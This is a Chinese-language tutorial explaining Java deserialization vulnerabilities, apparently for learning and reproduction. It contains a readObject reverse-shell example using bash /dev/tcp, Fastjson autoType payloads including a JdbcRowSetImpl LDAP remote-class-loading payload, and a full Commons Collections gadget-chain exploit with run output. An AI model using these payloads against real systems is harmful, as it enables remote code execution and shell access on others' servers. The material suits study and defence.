Java对象的传输往往通过序列化、反序列化的方式进行,通过调用公用的第三方组件,开发者可以快速实现自己的代码逻辑。比如在在一个HTTP Server中,客户端发送的数据通过序列化转为xml、json等约定格式方便开发、调试,服务端只需要调用API接口即可读取处理数据。不过在实际的应用中,这里的安全问题往往容易被忽略。
Java反序列化漏洞成因
Java中有原生的序列化方法,通过调用java.io.ObjectOutputStream可以将对象转换为字节码,如下所示:
package com.test;
import java.io.*;
public class Book implements Serializable
{
public String name;
public int price;
public Book(String name,int price){
this.name = name;
this.price = price;
}
}
public class Main {
public static void main(String args[])throws Exception{
Book s = new Book("Helloworld",9999);
FileOutputStream f=new FileOutputStream("book.bin");
ObjectOutputStream os = new ObjectOutputStream(f);
os.writeObject(s);
os.close();
}
}
运行上面的代码,在本地目录可以看到保存book对象的字节码文件
$ xxd book.bin
00000000: aced 0005 7372 000d 636f 6d2e 7465 7374 ....sr..com.test
00000010: 2e42 6f6f 6ba5 0b34 59d8 b59c 4302 0002 .Book..4Y...C...
00000020: 4900 0570 7269 6365 4c00 046e 616d 6574 I..priceL..namet
00000030: 0012 4c6a 6176 612f 6c61 6e67 2f53 7472 ..Ljava/lang/Str
00000040: 696e 673b 7870 0000 270f 7400 0a48 656c ing;xp..'.t..Hel
00000050: 6c6f 776f 726c 64 loworld
当读取文件进行反序列化时,调用java.io.ObjectInputStream,不过在反序列化的过程中,java会自动地调用类中的readObject方法。如下所示,如果将类的readObject重载为下面的危险函数,即可实现任意代码执行的效果。
package com.test;
import java.io.*;
public class Book implements Serializable
{
public String name;
public int price;
public Book(String name,int price){
this.name = name;
this.price = price;
}
private void readObject(ObjectInputStream in) throws IOException{
String[] cmd = {"bash","-c","bash > /dev/tcp/127.0.0.1/1234 0<&1"};
Runtime.getRuntime().exec(cmd);
}
}
public class Main {
public static void main(String args[])throws Exception{
Book s = new Book("Helloworld",9999);
FileOutputStream f = new FileOutputStream("book.bin");
ObjectOutputStream oos = new ObjectOutputStream(f);
oos.writeObject(s);
oos.close();
FileInputStream fi = new FileInputStream("book.bin");
ObjectInputStream ois =new ObjectInputStream(fi);
Book d2=(Book)ois.readObject();
ois.close();
}
}
在本地监听1234端口,运行上述代码,即可实现反弹shell。
$ nc -lvn 1234
Listening on [0.0.0.0] (family 2, port 1234)
Connection from 127.0.0.1 41608 received!
id
uid=0(root) gid=0(root) groups=0(root)
上面的这种情况只是为了介绍序列化反序列化的一个例子,实际开发中没有人会在readObject函数中写这样的危险函数,但是Java的第三方库繁多,还是有很多公共组件漏洞有着和上面类似的原理。
Fastjson反序列化漏洞
fastjson在反序列化时有一个非常方便开发人员使用的功能autotype,它允许开发人员不指定被转译的Object类型,自动化地声明对象。下面是一个使用样例,Fastjson的版本为1.2.24
:
package com.test;
import java.io.*;
import org.apache.commons.io.FileUtils;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
class Book
{
@JSONField(name = "name")
public String name;
@JSONField(name = "price")
public int price;
public Book(String name,int price){
this.name = name;
this.price = price;
}
}
public class Main
{
public static void main(String args[]) throws java.io.IOException {
File file = new File(args[0]);
String poc = FileUtils.readFileToString(file, "UTF-8");
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(poc, Object.class, config, Feature.SupportNonPublicField);
System.out.println(obj);
}
}
上面的程序会将命令行参数作为文件路径,读取指定内容作为反序列化的数据。
$ cat book.json
{
"@type":"com.test.Book",
"price":1,
"name":"asd"
}
$ java -jar target/test-1.jar book.json
com.test.Book@7de26db8
从上面可见通过指定“@type”字段,fastjson会将json转译为指定的Object。如果在一个CS架构中,json字符串是从客户端发送过来的,那么攻击者可以通过构造特殊的type,来实现一些意想不到的效果。
- DNS探测服务端是否使用fastjson
{"@type":"java.net.Inet4Address","val":"dnslog.cn"}
- 通过JdbcRowSetImpl加载远程可执行文件实现任意代码执行
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
针对fastjson的利用技巧有多种多样,可以参考https://github.com/safe6Sec/Fastjson学习更多的利用姿势。同时官方针对此问题做了一系列的加固措施,如使用黑名单禁用了危险类,后序的版本中默认禁用了autoType功能。
额外说明一点,并不是所有的类型都是可以被autoType转译的,需要满足以下任意一个条件: 1. 类型中需要存在以get、set开头的方法才能被自动转译 2. 属于fastjson预先声明好的一些类型:InetSocketAddress
、UUID
、URI
、URL
、Pattern
、Locale
、SimpleDateFormat
、InetAddress
、Inet4Address
、Inet6Address
、File
、TimeZone
、Charset
、Currency
、JSONPath
、java.nio.file.Path
,参考自com.alibaba.fastjson.serializer.MiscCodec:deserialze
Apache Commons Collections反序列化漏洞
实验环境:
commons-collections 3.2.1
jdk版本 jdk1.7.0_80
Commons Collections库提供了丰富的数据结构,使数据的收集处理变得容易:
- Bag - Bag界面简化了每个对象具有多个副本的集合。
- BidiMap - BidiMap接口提供双向映射,可用于使用值使用键或键查找值。
- MapIterator - MapIterator接口提供简单而容易的迭代迭代。
- Transforming Decorators - 转换装饰器可以在将集合添加到集合时更改集合的每个对象。
- Composite Collections - 在需要统一处理多个集合的情况下使用复合集合。
- Ordered Map - 有序地图保留添加元素的顺序。
- Ordered Set - 有序集保留了添加元素的顺序。
- Reference map - 参考图允许在密切控制下对键/值进行垃圾收集。
- Comparator implementations - 可以使用许多Comparator实现。
- Iterator implementations - 许多Iterator实现都可用。
- Adapter Classes - 适配器类可用于将数组和枚举转换为集合。
- Utilities - 实用程序可用于测试测试或创建集合的典型集合论属性,例如union,intersection。 支持关闭。
先来学习一下Transforming Decorators这个数据结构,它能在Map添加元素时动态对key、value进行修改,如下:
package com.Exp;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.security.Key;
import java.util.HashMap;
import java.util.Map;
public class ValueWrapper implements Transformer {
// 将value添加前缀“value_”
public Object transform(Object input) {
String a = (String) input;
return (Object) ("value_" + a);
}
}
class KeyWrapper implements Transformer {
// 将key添加前缀“key_”
public Object transform(Object input) {
String a = (String) input;
return (Object) ("key_" + a);
}
}
public class Main {
public static void main(String[] args) throws Exception {
HashMap<String, String> innerMap = new HashMap<String, String>();
KeyWrapper k = new KeyWrapper();
ValueWrapper v = new ValueWrapper();
Map trsMap = TransformedMap.decorate(innerMap, k, v);
trsMap.put("1", "helloworld");
System.out.println(trsMap);
}
}
运行上面的代码,可以看到下面的结果。所有的key value都加了前缀。
$ java -jar target/cc-1.jar
{key_1=value_helloworld}
在上面的代码中我们使用了自定义的Transformer进行操作。实际上这个库里还有很多已经集成好的Treansformer,其中,有几个关键的类,可以帮助我们构造任意执行的代码。
几个危险的Transformer
- InvokerTransformer
从名字可以看出,该类可以实现方法调用的功能
举例
public class Main { public static void main(String[] args) throws Exception { HashMap<String, Class> innerMap = new HashMap<String, Class>(); KeyWrapper k = new KeyWrapper(); ValueWrapper v = new ValueWrapper(); InvokerTransformer i = new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "touch aaa" }); Map trsMap = TransformedMap.decorate(innerMap, k, i); trsMap.put("aa", Runtime.getRuntime()); System.out.println(trsMap); } }
- ChainedTransformer
初始化时传入一个Transformer数组,进行transform时会依次调用
- ConstantTransformer
返回一固定常量
利用上述的几个Transform,可以组合出一个可以执行任意命令的代码。这里不再像上面例子里的代码要求Map为<String,Class>。
public static void main(String[] args) throws Exception {
HashMap<String, String> innerMap = new HashMap<String, String>();
KeyWrapper k = new KeyWrapper();
ValueWrapper v = new ValueWrapper();
InvokerTransformer i = new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { "touch aaa" });
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", null }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, null }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "touch aaa" })
});
Map trsMap = TransformedMap.decorate(innerMap, k, chain);
trsMap.put("aa", "bbb");
System.out.println(trsMap);
}
接下来我们尝试将构造好的对象写入到文件中。在预设的攻击场景中,服务器读取不受信任的序列化数据,将其转换为Object的时候,即可载入我们的攻击代码。
要完成这一点,我们需要找到一个特殊的类,在调用readObject函数时,能够改变map的值。恰恰刚好,sun.reflect.annotation.AnnotationInvocationHandler这个类完美符合要求。至于如何去搜索这种gadget,业界也有人做过系统的研究,可参考https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
上面代码中,在调用readObject时,memberValue是一个Map,因此,我们构造一下攻击代码:
public class Main {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class
},
new Object[] { "getRuntime", null }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class
},
new Object[] { null, null }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {
"touch hacked.txt" })
});
HashMap innerMap = new HashMap();
innerMap.put("value", "aaaa");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
FileOutputStream f = new FileOutputStream("exp.bin");
ObjectOutputStream oos = new ObjectOutputStream(f);
oos.writeObject(ins);
oos.flush();
oos.close();
}
}
下面是模拟的受攻击代码
public class Exp {
public static void main(String[] args) throws Exception {
FileInputStream fi = new FileInputStream("exp.bin");
ObjectInputStream ois = new ObjectInputStream(fi);
Object d = (Object) ois
.readObject();
ois.close();
System.out.println(d.getClass());
}
}
运行程序,即可在当前目录下创建hack.txt文件
$ java -cp target/cc-1.jar com.Exp.Main
$ java -cp target/cc-1.jar com.Exp.Exp
class sun.reflect.annotation.AnnotationInvocationHandler
$ ls
dependency-reduced-pom.xml exp.bin hacked.txt pom.xml src target
复现中遇到的问题
没有执行利用代码?
这里使用的jdk版本为jdk1.7.0_80。在1.8以后,AnnotationInvocationHandler类进行了修复,因此不能再用上述的方法构造,运行时可能会报错
$ java -jar target/cc-1.jar
javaException in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make sun.reflect.annotation.AnnotationInvocationHandler(java.lang.Class,java.util.Map) accessible: module java.base does not "opens sun.reflect.annotation" to unnamed module @486bb9ce
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Constructor.checkCanSetAccessible(Constructor.java:191)
at java.base/java.lang.reflect.Constructor.setAccessible(Constructor.java:184)
at com.Exp.Main.main(Main.java:45)